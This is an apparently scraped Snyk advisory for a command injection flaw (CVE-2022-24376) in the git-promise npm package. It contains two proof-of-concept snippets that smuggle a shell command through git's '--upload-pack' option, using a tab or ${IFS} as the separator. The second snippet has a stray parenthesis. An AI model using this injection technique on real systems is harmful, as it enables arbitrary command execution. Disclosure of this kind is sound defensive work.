

# Command Injection

Affecting `git-promise` package, versions \*

INTRODUCED: 28 MAR 2022 CVE-2022-24376 ?

CWE-78 ? FIRST ADDED BY SNYK

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How to fix?

There is no fixed version for `git-promise` .

## Overview

`git-promise` is a Simple wrapper that allows you to run any git command using a more intuitive syntax.

Affected versions of this package are vulnerable to Command Injection due to an inappropriate fix of a prior [vulnerability](#) in this package. **Note:** Please note that the vulnerability will not be fixed. The README file was updated with a warning regarding this issue.

## PoC 1

```
const git = require("git-promise"); // Use tab
instead of spaces to separate between the touch
command and its argument git("fetch origin --
upload-pack=touch /tmp/abcd", {cwd:
'/tmp/example-git-repo'}).then((output) =>
console.log(output))
```

7.2

HIGH

Snyk CVSS

Attack Complexity Low ?

Privileges Required HIGH ?

Confidentiality HIGH ?

Integrity HIGH ?

Availability HIGH ?

See more

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what

PoC 2

```
const git = require("git-promise"); // Use the
shell's predefined separator using ${IFS} to
escape the whitespace splitting logic git("fetch
origin --upload-pack=touch${IFS}/tmp/abcd-new",
{cwd: '/tmp/example-git-repo'})).then((output) =>
console.log(output))
```

References

- [GitHub Gist](#)

application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

SnykSNYK-JS-ID GITPROMISE-2434310

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Disclosed 28 Mar 2022

Credit Liran Tal

Report a new vulnerability

Found a mistake?

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Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.

